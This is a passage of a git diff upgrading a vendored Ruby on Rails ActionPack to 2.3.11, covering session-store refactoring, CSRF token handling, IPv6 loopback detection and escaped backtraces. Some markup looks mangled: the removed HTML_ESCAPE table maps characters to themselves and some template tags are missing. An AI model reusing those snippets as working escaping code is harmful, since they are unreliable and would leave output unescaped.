key = key.to_s.upcase.gsub(/-/, "_") key = "HTTP_#{key}" unless env.has_key?(key) || key =~ /^HTTP_/ @@ -323,7 +324,9 @@ module ActionController @headers = Rack::Utils::HeaderHash.new(headers) - (@headers['Set-Cookie'] || "").split("\n").each do |cookie| + cookies = @headers['Set-Cookie'] + cookies = cookies.to_s.split("\n") unless cookies.is_a?(Array) + cookies.each do |cookie| name, value = cookie.match(/^([^=]*)=([^;]*);/)[1,2] @cookies[name] = value end @@ -353,6 +356,8 @@ module ActionController # used in integration tests. @response.extend(TestResponseBehavior) + body.close if body.respond_to?(:close) + return @status rescue MultiPartNeededException boundary = "----------XnJLe9ZIbbGUYtzPQJ16u1" @@ -410,15 +415,25 @@ module ActionController end def multipart_requestify(params, first=true) - returning Hash.new do |p| + Array.new.tap do |p| params.each do |key, value| k = first ? key.to_s : "[#{key.to_s}]" if Hash === value multipart_requestify(value, false).each do |subkey, subvalue| - p[k + subkey] = subvalue + p << [k + subkey, subvalue] + end + elsif Array === value + value.each do |element| + if Hash === element || Array === element + multipart_requestify(element, false).each do |subkey, subvalue| + p << ["#{k}[]#{subkey}", subvalue] + end + else + p << ["#{k}[]", element] + end end else - p[k] = value + p << [k, value] end end end @@ -449,6 +464,7 @@ EOF end end.join("")+"--#{boundary}--\r" end + end # A module used to extend ActionController::Base, so that integration tests @@ -496,7 +512,7 @@ EOF reset! unless @integration_session # reset the html_document variable, but only for new get/post calls @html_document = nil unless %w(cookies assigns).include?(method) - returning @integration_session.__send__(method, *args) do + @integration_session.__send__(method, *args).tap do copy_session_variables! end end @@ -520,7 +536,7 @@ EOF if self.class.respond_to?(:fixture_table_names) self.class.fixture_table_names.each do |table_name| name = table_name.tr(".", "_") - next unless respond_to?(name) + next unless respond_to?(name, true) extras.__send__(:define_method, name) { |*args| delegate.send(name, *args) } @@ -552,7 +568,7 @@ EOF def method_missing(sym, *args, &block) reset! unless @integration_session if @integration_session.respond_to?(sym) - returning @integration_session.__send__(sym, *args, &block) do + @integration_session.__send__(sym, *args, &block).tap do copy_session_variables! end else diff --git a/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb b/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb index b30d4411..612701d4 100644 --- a/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb +++ b/vendor/rails/actionpack/lib/action_controller/polymorphic_routes.rb @@ -115,7 +115,7 @@ module ActionController end %w(edit new).each do |action| - module_eval <<-EOT, __FILE__, __LINE__ + module_eval <<-EOT, __FILE__, __LINE__ + 1 def #{action}_polymorphic_url(record_or_hash, options = {}) # def edit_polymorphic_url(record_or_hash, options = {}) polymorphic_url( # polymorphic_url( record_or_hash, # record_or_hash, diff --git a/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb b/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb index 6938e8ef..da9f1684 100644 --- a/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb +++ b/vendor/rails/actionpack/lib/action_controller/rack_lint_patch.rb @@ -1,4 +1,4 @@ -# Rack 1.0 does not allow string subclass body. This does not play well with our ActionView::SafeBuffer. +# Rack 1.0 does not allow string subclass body. This does not play well with our ActiveSupport::SafeBuffer. # The next release of Rack will be allowing string subclass body - http://github.com/rack/rack/commit/de668df02802a0335376a81ba709270e43ba9d55 # TODO : Remove this monkey patch after the next release of Rack diff --git a/vendor/rails/actionpack/lib/action_controller/request.rb b/vendor/rails/actionpack/lib/action_controller/request.rb index 1c3c1c83..98c5e8ce 100755 --- a/vendor/rails/actionpack/lib/action_controller/request.rb +++ b/vendor/rails/actionpack/lib/action_controller/request.rb @@ -446,8 +446,8 @@ EOM end def reset_session - @env['rack.session.options'].delete(:id) - @env['rack.session'] = {} + session.destroy if session + self.session = {} end def session_options diff --git a/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb b/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb index 24821fff..00308579 100644 --- a/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb +++ b/vendor/rails/actionpack/lib/action_controller/request_forgery_protection.rb @@ -76,7 +76,11 @@ module ActionController #:nodoc: protected # The actual before_filter that is used. Modify this to change how you handle unverified requests. def verify_authenticity_token - verified_request? || raise(ActionController::InvalidAuthenticityToken) + verified_request? || handle_unverified_request + end + + def handle_unverified_request + reset_session end # Returns true or false if a request is verified. Checks: @@ -85,11 +89,10 @@ module ActionController #:nodoc: # * is it a GET request? Gets should be safe and idempotent # * Does the form_authenticity_token match the given token value from the params? def verified_request? - !protect_against_forgery? || - request.method == :get || - request.xhr? || - !verifiable_request_format? || - form_authenticity_token == form_authenticity_param + !protect_against_forgery? || + request.get? || + form_authenticity_token == form_authenticity_param || + form_authenticity_token == request.headers['X-CSRF-Token'] end def form_authenticity_param diff --git a/vendor/rails/actionpack/lib/action_controller/rescue.rb b/vendor/rails/actionpack/lib/action_controller/rescue.rb index 242c8da9..81bf2c16 100644 --- a/vendor/rails/actionpack/lib/action_controller/rescue.rb +++ b/vendor/rails/actionpack/lib/action_controller/rescue.rb @@ -15,7 +15,7 @@ module ActionController #:nodoc: # behavior is achieved by overriding the rescue_action_in_public # and rescue_action_locally methods. module Rescue - LOCALHOST = '127.0.0.1'.freeze + LOCALHOST = [/^127\.0\.0\.\d{1,3}$/, /^::1$/, /^0:0:0:0:0:0:0:1(%.*)?$/].freeze DEFAULT_RESCUE_RESPONSE = :internal_server_error DEFAULT_RESCUE_RESPONSES = { @@ -122,7 +122,7 @@ module ActionController #:nodoc: # method if you wish to redefine the meaning of a local request to # include remote IP addresses or other criteria. def local_request? #:doc: - request.remote_addr == LOCALHOST && request.remote_ip == LOCALHOST + LOCALHOST.any?{ |local_ip| request.remote_addr =~ local_ip && request.remote_ip =~ local_ip } end # Render detailed diagnostics for unhandled exceptions rescued from diff --git a/vendor/rails/actionpack/lib/action_controller/resources.rb b/vendor/rails/actionpack/lib/action_controller/resources.rb index 8c2080e5..9348ed96 100644 --- a/vendor/rails/actionpack/lib/action_controller/resources.rb +++ b/vendor/rails/actionpack/lib/action_controller/resources.rb @@ -659,7 +659,7 @@ module ActionController end def add_conditions_for(conditions, method) - returning({:conditions => conditions.dup}) do |options| + ({:conditions => conditions.dup}).tap do |options| options[:conditions][:method] = method unless method == :any end end diff --git a/vendor/rails/actionpack/lib/action_controller/response.rb b/vendor/rails/actionpack/lib/action_controller/response.rb index 192d3145..815f749e 100644 --- a/vendor/rails/actionpack/lib/action_controller/response.rb +++ b/vendor/rails/actionpack/lib/action_controller/response.rb @@ -117,11 +117,7 @@ module ActionController # :nodoc: end def etag=(etag) - if etag.blank? - headers.delete('ETag') - else - headers['ETag'] = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(etag))}") - end + headers['ETag'] = %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(etag))}") end def redirect(url, status) @@ -202,7 +198,7 @@ module ActionController # :nodoc: def nonempty_ok_response? ok = !status || status.to_s[0..2] == '200' - ok && body.is_a?(String) && !body.empty? + ok && body.is_a?(String) && !body.blank? end def set_conditional_cache_control! @@ -233,7 +229,8 @@ module ActionController # :nodoc: end def convert_cookies! - headers['Set-Cookie'] = Array(headers['Set-Cookie']).compact + cookies = Array(headers['Set-Cookie']).compact + headers['Set-Cookie'] = cookies unless cookies.empty? end end end diff --git a/vendor/rails/actionpack/lib/action_controller/routing.rb b/vendor/rails/actionpack/lib/action_controller/routing.rb index f9b0c4bb..652fa2f5 100644 --- a/vendor/rails/actionpack/lib/action_controller/routing.rb +++ b/vendor/rails/actionpack/lib/action_controller/routing.rb @@ -377,7 +377,7 @@ module ActionController ActiveSupport::Inflector.module_eval do # Ensures that routes are reloaded when Rails inflections are updated. def inflections_with_route_reloading(&block) - returning(inflections_without_route_reloading(&block)) { + (inflections_without_route_reloading(&block)).tap { ActionController::Routing::Routes.reload! if block_given? } end diff --git a/vendor/rails/actionpack/lib/action_controller/routing/route.rb b/vendor/rails/actionpack/lib/action_controller/routing/route.rb index e2077eda..69e8f57e 100644 --- a/vendor/rails/actionpack/lib/action_controller/routing/route.rb +++ b/vendor/rails/actionpack/lib/action_controller/routing/route.rb @@ -65,7 +65,7 @@ module ActionController # map.connect '/page/:id', :controller => 'pages', :action => 'show', :id => /\d+/ # def parameter_shell - @parameter_shell ||= returning({}) do |shell| + @parameter_shell ||= {}.tap do |shell| requirements.each do |key, requirement| shell[key] = requirement unless requirement.is_a? Regexp end @@ -76,7 +76,7 @@ module ActionController # includes keys that appear inside the path, and keys that have requirements # placed upon them. def significant_keys - @significant_keys ||= returning([]) do |sk| + @significant_keys ||= [].tap do |sk| segments.each { |segment| sk << segment.key if segment.respond_to? :key } sk.concat requirements.keys sk.uniq! @@ -86,7 +86,7 @@ module ActionController # Return a hash of key/value pairs representing the keys in the route that # have defaults, or which are specified by non-regexp requirements. def defaults - @defaults ||= returning({}) do |hash| + @defaults ||= {}.tap do |hash| segments.each do |segment| next unless segment.respond_to? :default hash[segment.key] = segment.default unless segment.default.nil? diff --git a/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb b/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb index 8e4ed7bc..2fbf3e9e 100644 --- a/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb +++ b/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb @@ -174,6 +174,7 @@ module ActionController # named_helper_module_eval <<-end_eval # We use module_eval to avoid leaks def #{selector}(*args) # def users_url(*args) + args.compact! # # #{generate_optimisation_block(route, kind)} # #{generate_optimisation_block(route, kind)} # diff --git a/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb b/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb index f6369abf..de0163d2 100644 --- a/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb +++ b/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb @@ -2,13 +2,42 @@ require 'rack/utils' module ActionController module Session - class AbstractStore + class AbstractStore ENV_SESSION_KEY = 'rack.session'.freeze ENV_SESSION_OPTIONS_KEY = 'rack.session.options'.freeze HTTP_COOKIE = 'HTTP_COOKIE'.freeze SET_COOKIE = 'Set-Cookie'.freeze + # thin wrapper around Hash that allows us to lazily + # load session id into session_options + class OptionsHash < Hash + def initialize(by, env, default_options) + @by = by + @env = env + @session_id_loaded = false + merge!(default_options) + end + + def [](key) + if key == :id + load_session_id! unless super(:id) || has_session_id? + end + super(key) + end + + private + + def has_session_id? + @session_id_loaded + end + + def load_session_id! + self[:id] = @by.send(:extract_session_id, @env) + @session_id_loaded = true + end + end + class SessionHash < Hash def initialize(by, env) super() @@ -25,21 +54,42 @@ module ActionController end def [](key) - load! unless @loaded + load_for_read! + super + end + + def has_key?(key) + load_for_read! super end def []=(key, value) - load! unless @loaded + load_for_write! + super + end + + def clear + load_for_write! super end def to_hash + load_for_read! h = {}.replace(self) h.delete_if { |k,v| v.nil? } h end + def update(hash) + load_for_write! + super + end + + def delete(key) + load_for_write! + super + end + def data ActiveSupport::Deprecation.warn( "ActionController::Session::AbstractStore::SessionHash#data " + @@ -48,40 +98,43 @@ module ActionController end def inspect - load! unless @loaded + load_for_read! super end + def exists? + return @exists if instance_variable_defined?(:@exists) + @exists = @by.send(:exists?, @env) + end + + def loaded? + @loaded + end + + def destroy + clear + @by.send(:destroy, @env) if @by + @env[ENV_SESSION_OPTIONS_KEY][:id] = nil if @env && @env[ENV_SESSION_OPTIONS_KEY] + @loaded = false + end + private - def loaded? - @loaded + + def load_for_read! + load! if !loaded? && exists? + end + + def load_for_write! + load! unless loaded? end def load! - stale_session_check! do - id, session = @by.send(:load_session, @env) - (@env[ENV_SESSION_OPTIONS_KEY] ||= {})[:id] = id - replace(session) - @loaded = true - end + id, session = @by.send(:load_session, @env) + @env[ENV_SESSION_OPTIONS_KEY][:id] = id + replace(session) + @loaded = true end - def stale_session_check! - yield - rescue ArgumentError => argument_error - if argument_error.message =~ %r{undefined class/module ([\w:]*\w)} - begin - # Note that the regexp does not allow $1 to end with a ':' - $1.constantize - rescue LoadError, NameError => const_error - raise ActionController::SessionRestoreError, "Session contains objects whose class definition isn\\'t available.\nRemember to require the classes for all objects kept in the session.\n(Original exception: \#{const_error.message} [\#{const_error.class}])\n" - end - - retry - else - raise - end - end end DEFAULT_OPTIONS = { @@ -98,12 +151,18 @@ module ActionController # Process legacy CGI options options = options.symbolize_keys if options.has_key?(:session_path) + ActiveSupport::Deprecation.warn "Giving :session_path to SessionStore is deprecated, " << + "please use :path instead", caller options[:path] = options.delete(:session_path) end if options.has_key?(:session_key) + ActiveSupport::Deprecation.warn "Giving :session_key to SessionStore is deprecated, " << + "please use :key instead", caller options[:key] = options.delete(:session_key) end if options.has_key?(:session_http_only) + ActiveSupport::Deprecation.warn "Giving :session_http_only to SessionStore is deprecated, " << + "please use :httponly instead", caller options[:httponly] = options.delete(:session_http_only) end @@ -114,18 +173,18 @@ module ActionController end def call(env) - session = SessionHash.new(self, env) - - env[ENV_SESSION_KEY] = session - env[ENV_SESSION_OPTIONS_KEY] = @default_options.dup - + prepare!(env) response = @app.call(env) session_data = env[ENV_SESSION_KEY] options = env[ENV_SESSION_OPTIONS_KEY] - if !session_data.is_a?(AbstractStore::SessionHash) || session_data.send(:loaded?) || options[:expire_after] - session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.send(:loaded?) + if !session_data.is_a?(AbstractStore::SessionHash) || session_data.loaded? || options[:expire_after] + request = ActionController::Request.new(env) + + return response if (options[:secure] && !request.ssl?) + + session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.loaded? sid = options[:id] || generate_sid @@ -133,21 +192,11 @@ module ActionController return response end - cookie = Rack::Utils.escape(@key) + '=' + Rack::Utils.escape(sid) - cookie << "; domain=#{options[:domain]}" if options[:domain] - cookie << "; path=#{options[:path]}" if options[:path] - if options[:expire_after] - expiry = Time.now + options[:expire_after] - cookie << "; expires=#{expiry.httpdate}" - end - cookie << "; Secure" if options[:secure] - cookie << "; HttpOnly" if options[:httponly] + request_cookies = env["rack.request.cookie_hash"] - headers = response[1] - unless headers[SET_COOKIE].blank? - headers[SET_COOKIE] << "\n#{cookie}" - else - headers[SET_COOKIE] = cookie + if (request_cookies.nil? || request_cookies[@key] != sid) || options[:expire_after] + cookie = {:value => sid} + Rack::Utils.set_cookie_header!(response[1], @key, cookie.merge(options)) end end @@ -155,18 +204,39 @@ module ActionController end private + + def prepare!(env) + env[ENV_SESSION_KEY] = SessionHash.new(self, env) + env[ENV_SESSION_OPTIONS_KEY] = OptionsHash.new(self, env, @default_options) + end + def generate_sid ActiveSupport::SecureRandom.hex(16) end def load_session(env) - request = Rack::Request.new(env) - sid = request.cookies[@key] - unless @cookie_only - sid ||= request.params[@key] + stale_session_check! do + sid = current_session_id(env) + sid, session = get_session(env, sid) + [sid, session] end - sid, session = get_session(env, sid) - [sid, session] + end + + def extract_session_id(env) + stale_session_check! do + request = Rack::Request.new(env) + sid = request.cookies[@key] + sid ||= request.params[@key] unless @cookie_only + sid + end + end + + def current_session_id(env) + env[ENV_SESSION_OPTIONS_KEY][:id] + end + + def exists?(env) + current_session_id(env).present? end def get_session(env, sid) @@ -176,6 +246,30 @@ module ActionController def set_session(env, sid, session_data) raise '#set_session needs to be implemented.' end + + def destroy(env) + raise '#destroy needs to be implemented.' + end + + module SessionUtils + private + def stale_session_check! + yield + rescue ArgumentError => argument_error + if argument_error.message =~ %r{undefined class/module ([\w:]*\w)} + begin + # Note that the regexp does not allow $1 to end with a ':' + $1.constantize + rescue LoadError, NameError => const_error + raise ActionController::SessionRestoreError, "Session contains objects whose class definition isn\\'t available.\nRemember to require the classes for all objects kept in the session.\n(Original exception: \#{const_error.message} [\#{const_error.class}])\n" + end + retry + else + raise + end + end + end + include SessionUtils end end end diff --git a/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb b/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb index a2543c18..2053aabc 100644 --- a/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb +++ b/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb @@ -36,6 +36,8 @@ module ActionController # # Note that changing digest or secret invalidates all existing sessions! class CookieStore + include AbstractStore::SessionUtils + # Cookies can typically store 4096 bytes. MAX = 4096 SECRET_MIN_LENGTH = 30 # characters @@ -50,7 +52,6 @@ module ActionController ENV_SESSION_KEY = "rack.session".freeze ENV_SESSION_OPTIONS_KEY = "rack.session.options".freeze - HTTP_SET_COOKIE = "Set-Cookie".freeze # Raised when storing more than 4K of session data. class CookieOverflow < StandardError; end @@ -59,12 +60,18 @@ module ActionController # Process legacy CGI options options = options.symbolize_keys if options.has_key?(:session_path) + ActiveSupport::Deprecation.warn "Giving :session_path to SessionStore is deprecated, " << + "please use :path instead", caller options[:path] = options.delete(:session_path) end if options.has_key?(:session_key) + ActiveSupport::Deprecation.warn "Giving :session_key to SessionStore is deprecated, " << + "please use :key instead", caller options[:key] = options.delete(:session_key) end if options.has_key?(:session_http_only) + ActiveSupport::Deprecation.warn "Giving :session_http_only to SessionStore is deprecated, " << + "please use :httponly instead", caller options[:httponly] = options.delete(:session_http_only) end @@ -87,73 +94,81 @@ module ActionController end def call(env) - env[ENV_SESSION_KEY] = AbstractStore::SessionHash.new(self, env) - env[ENV_SESSION_OPTIONS_KEY] = @default_options.dup - + prepare!(env) + status, headers, body = @app.call(env) session_data = env[ENV_SESSION_KEY] options = env[ENV_SESSION_OPTIONS_KEY] + request = ActionController::Request.new(env) + + if !(options[:secure] && !request.ssl?) && (!session_data.is_a?(AbstractStore::SessionHash) || session_data.loaded? || options[:expire_after]) + session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.loaded? - if !session_data.is_a?(AbstractStore::SessionHash) || session_data.send(:loaded?) || options[:expire_after] - session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.send(:loaded?) + persistent_session_id!(session_data) session_data = marshal(session_data.to_hash) raise CookieOverflow if session_data.size > MAX - cookie = Hash.new cookie[:value] = session_data unless options[:expire_after].nil? cookie[:expires] = Time.now + options[:expire_after] end - cookie = build_cookie(@key, cookie.merge(options)) - unless headers[HTTP_SET_COOKIE].blank? - headers[HTTP_SET_COOKIE] << "\n#{cookie}" - else - headers[HTTP_SET_COOKIE] = cookie - end + Rack::Utils.set_cookie_header!(headers, @key, cookie.merge(options)) end [status, headers, body] end private - # Should be in Rack::Utils soon - def build_cookie(key, value) - case value - when Hash - domain = "; domain=" + value[:domain] if value[:domain] - path = "; path=" + value[:path] if value[:path] - # According to RFC 2109, we need dashes here. - # N.B.: cgi.rb uses spaces... - expires = "; expires=" + value[:expires].clone.gmtime. - strftime("%a, %d-%b-%Y %H:%M:%S GMT") if value[:expires] - secure = "; secure" if value[:secure] - httponly = "; HttpOnly" if value[:httponly] - value = value[:value] - end - value = [value] unless Array === value - cookie = Rack::Utils.escape(key) + "=" + - value.map { |v| Rack::Utils.escape(v) }.join("&") + - "#{domain}#{path}#{expires}#{secure}#{httponly}" + + def prepare!(env) + env[ENV_SESSION_KEY] = AbstractStore::SessionHash.new(self, env) + env[ENV_SESSION_OPTIONS_KEY] = AbstractStore::OptionsHash.new(self, env, @default_options) end def load_session(env) - request = Rack::Request.new(env) - session_data = request.cookies[@key] - data = unmarshal(session_data) || persistent_session_id!({}) + data = unpacked_cookie_data(env) + data = persistent_session_id!(data) [data[:session_id], data] end + + def extract_session_id(env) + if data = unpacked_cookie_data(env) + persistent_session_id!(data) unless data.empty? + data[:session_id] + else + nil + end + end + + def current_session_id(env) + env[ENV_SESSION_OPTIONS_KEY][:id] + end + + def exists?(env) + current_session_id(env).present? + end + + def unpacked_cookie_data(env) + env["action_dispatch.request.unsigned_session_cookie"] ||= begin + stale_session_check! do + request = Rack::Request.new(env) + session_data = request.cookies[@key] + unmarshal(session_data) || {} + end + end + end # Marshal a session hash into safe cookie data. Include an integrity hash. def marshal(session) - @verifier.generate(persistent_session_id!(session)) + @verifier.generate(session) end # Unmarshal cookie data to a hash and verify its integrity. def unmarshal(cookie) - persistent_session_id!(@verifier.verify(cookie)) if cookie + @verifier.verify(cookie) if cookie rescue ActiveSupport::MessageVerifier::InvalidSignature nil end @@ -201,6 +216,10 @@ module ActionController ActiveSupport::SecureRandom.hex(16) end + def destroy(env) + # session data is stored on client; nothing to do here + end + def persistent_session_id!(data) (data ||= {}).merge!(inject_persistent_session_id(data)) end diff --git a/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb b/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb index f745715a..2bb1b133 100644 --- a/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb +++ b/vendor/rails/actionpack/lib/action_controller/session/mem_cache_store.rb @@ -1,6 +1,6 @@ begin require_library_or_gem 'memcache' - + require 'thread' module ActionController module Session class MemCacheStore < AbstractStore @@ -43,6 +43,15 @@ begin rescue MemCache::MemCacheError, Errno::ECONNREFUSED return false end + + def destroy(env) + if sid = current_session_id(env) + @pool.delete(sid) + end + rescue MemCache::MemCacheError, Errno::ECONNREFUSED + false + end + end end end diff --git a/vendor/rails/actionpack/lib/action_controller/templates/rescues/_trace.erb b/vendor/rails/actionpack/lib/action_controller/templates/rescues/_trace.erb index bb2d8375..f8f6b424 100644 --- a/vendor/rails/actionpack/lib/action_controller/templates/rescues/_trace.erb +++ b/vendor/rails/actionpack/lib/action_controller/templates/rescues/_trace.erb @@ -15,12 +15,12 @@ show = "document.getElementById('#{name.gsub /\s/, '-'}').style.display='block';" hide = (names - [name]).collect {|hide_name| "document.getElementById('#{hide_name.gsub /\s/, '-'}').style.display='none';"} %> - <%= name %> <%= '|' unless names.last == name %> + <%= name %> <%= '|' unless names.last == name %> <% end %> <% traces.each do |name, trace| %>
    ;"> -
    <%= trace.join "\n" %>
    +
    <%=h trace.join "\n" %>
    <% end %>
    diff --git a/vendor/rails/actionpack/lib/action_controller/test_process.rb b/vendor/rails/actionpack/lib/action_controller/test_process.rb index fd9f90b1..db264987 100644 --- a/vendor/rails/actionpack/lib/action_controller/test_process.rb +++ b/vendor/rails/actionpack/lib/action_controller/test_process.rb @@ -450,7 +450,7 @@ module ActionController #:nodoc: def xml_http_request(request_method, action, parameters = nil, session = nil, flash = nil) @request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest' @request.env['HTTP_ACCEPT'] = [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ') - returning __send__(request_method, action, parameters, session, flash) do + __send__(request_method, action, parameters, session, flash).tap do @request.env.delete 'HTTP_X_REQUESTED_WITH' @request.env.delete 'HTTP_ACCEPT' end diff --git a/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb b/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb index e4c2a29e..e6d99f2e 100644 --- a/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb +++ b/vendor/rails/actionpack/lib/action_controller/url_rewriter.rb @@ -1,3 +1,5 @@ +require 'uri' + module ActionController # In routes.rb one defines URL-to-controller mappings, but the reverse # is also possible: an URL can be generated from one of your routing definitions. @@ -92,6 +94,14 @@ module ActionController # end # end module UrlWriter + RESERVED_PCHAR = ':@&=+$,;%' + SAFE_PCHAR = "#{URI::REGEXP::PATTERN::UNRESERVED}#{RESERVED_PCHAR}" + if RUBY_VERSION >= '1.9' + UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false).freeze + else + UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze + end + def self.included(base) #:nodoc: ActionController::Routing::Routes.install_helpers(base) base.mattr_accessor :default_url_options @@ -142,7 +152,7 @@ module ActionController end trailing_slash = options.delete(:trailing_slash) if options.key?(:trailing_slash) url << ActionController::Base.relative_url_root.to_s unless options[:skip_relative_url_root] - anchor = "##{CGI.escape options.delete(:anchor).to_param.to_s}" if options[:anchor] + anchor = "##{URI.escape(options.delete(:anchor).to_param.to_s, UNSAFE_PCHAR)}" if options[:anchor] generated = Routing::Routes.generate(options, {}) url << (trailing_slash ? generated.sub(/\?|\z/) { "/" + $& } : generated) url << anchor if anchor @@ -159,6 +169,9 @@ module ActionController end def rewrite(options = {}) + if options.include?(:overwrite_params) + ActiveSupport::Deprecation.warn 'The :overwrite_params option is deprecated. Specify all the necessary parameters instead', caller + end rewrite_url(options) end @@ -194,7 +207,7 @@ module ActionController options = options.symbolize_keys options.update(options[:params].symbolize_keys) if options[:params] - if (overwrite = options.delete(:overwrite_params)) + if overwrite = options.delete(:overwrite_params) options.update(@parameters.symbolize_keys) options.update(overwrite.symbolize_keys) end diff --git a/vendor/rails/actionpack/lib/action_pack.rb b/vendor/rails/actionpack/lib/action_pack.rb index b90f89be..1a149738 100644 --- a/vendor/rails/actionpack/lib/action_pack.rb +++ b/vendor/rails/actionpack/lib/action_pack.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2009 David Heinemeier Hansson +# Copyright (c) 2004-2010 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the diff --git a/vendor/rails/actionpack/lib/action_pack/version.rb b/vendor/rails/actionpack/lib/action_pack/version.rb index 4c88b3d5..227ef601 100644 --- a/vendor/rails/actionpack/lib/action_pack/version.rb +++ b/vendor/rails/actionpack/lib/action_pack/version.rb @@ -2,7 +2,7 @@ module ActionPack #:nodoc: module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 5 + TINY = 11 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/actionpack/lib/action_view.rb b/vendor/rails/actionpack/lib/action_view.rb index 025745cf..9b7d0c45 100644 --- a/vendor/rails/actionpack/lib/action_view.rb +++ b/vendor/rails/actionpack/lib/action_view.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2009 David Heinemeier Hansson +# Copyright (c) 2004-2010 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the @@ -49,10 +49,10 @@ module ActionView autoload :TemplateHandler, 'action_view/template_handler' autoload :TemplateHandlers, 'action_view/template_handlers' autoload :Helpers, 'action_view/helpers' - autoload :SafeBuffer, 'action_view/safe_buffer' end -require 'action_view/erb/util' +require 'active_support/core_ext/string/output_safety' +ActionView::SafeBuffer = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('ActionView::SafeBuffer', 'ActiveSupport::SafeBuffer') I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml" diff --git a/vendor/rails/actionpack/lib/action_view/erb/util.rb b/vendor/rails/actionpack/lib/action_view/erb/util.rb deleted file mode 100644 index 4f8b285e..00000000 --- a/vendor/rails/actionpack/lib/action_view/erb/util.rb +++ /dev/null @@ -1,44 +0,0 @@ -require 'erb' - -class ERB - module Util - HTML_ESCAPE = { '&' => '&', '>' => '>', '<' => '<', '"' => '"' } - JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' } - - # A utility method for escaping HTML tag characters. - # This method is also aliased as h. - # - # In your ERb templates, use this method to escape any unsafe content. For example: - # <%=h @person.name %> - # - # ==== Example: - # puts html_escape("is a > 0 & a < 10?") - # # => is a > 0 & a < 10? - def html_escape(s) - s.to_s.gsub(/[&"><]/) { |special| HTML_ESCAPE[special] } - end - - undef :h - alias h html_escape - - module_function :html_escape - module_function :h - - # A utility method for escaping HTML entities in JSON strings. - # This method is also aliased as j. - # - # In your ERb templates, use this method to escape any HTML entities: - # <%=j @person.to_json %> - # - # ==== Example: - # puts json_escape("is a > 0 & a < 10?") - # # => is a \u003E 0 \u0026 a \u003C 10? - def json_escape(s) - s.to_s.gsub(/[&"><]/) { |special| JSON_ESCAPE[special] } - end - - alias j json_escape - module_function :j - module_function :json_escape - end -end diff --git a/vendor/rails/actionpack/lib/action_view/helpers.rb b/vendor/rails/actionpack/lib/action_view/helpers.rb index cea894dd..debd2e75 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers.rb @@ -6,6 +6,7 @@ module ActionView #:nodoc: autoload :BenchmarkHelper, 'action_view/helpers/benchmark_helper' autoload :CacheHelper, 'action_view/helpers/cache_helper' autoload :CaptureHelper, 'action_view/helpers/capture_helper' + autoload :CsrfHelper, 'action_view/helpers/csrf_helper' autoload :DateHelper, 'action_view/helpers/date_helper' autoload :DebugHelper, 'action_view/helpers/debug_helper' autoload :FormHelper, 'action_view/helpers/form_helper' @@ -38,6 +39,7 @@ module ActionView #:nodoc: include BenchmarkHelper include CacheHelper include CaptureHelper + include CsrfHelper include DateHelper include DebugHelper include FormHelper diff --git a/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb index a5788f78..ed407c9d 100644 --- a/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb +++ b/vendor/rails/actionpack/lib/action_view/helpers/active_record_helper.rb @@ -3,7 +3,7 @@ require 'action_view/helpers/form_helper' module ActionView class Base - @@field_error_proc = Proc.new{ |html_tag, instance| "
    #{html_tag}
    ".html_safe! } + @@field_error_proc = Proc.new{ |html_tag, instance| "
    #{html_tag}
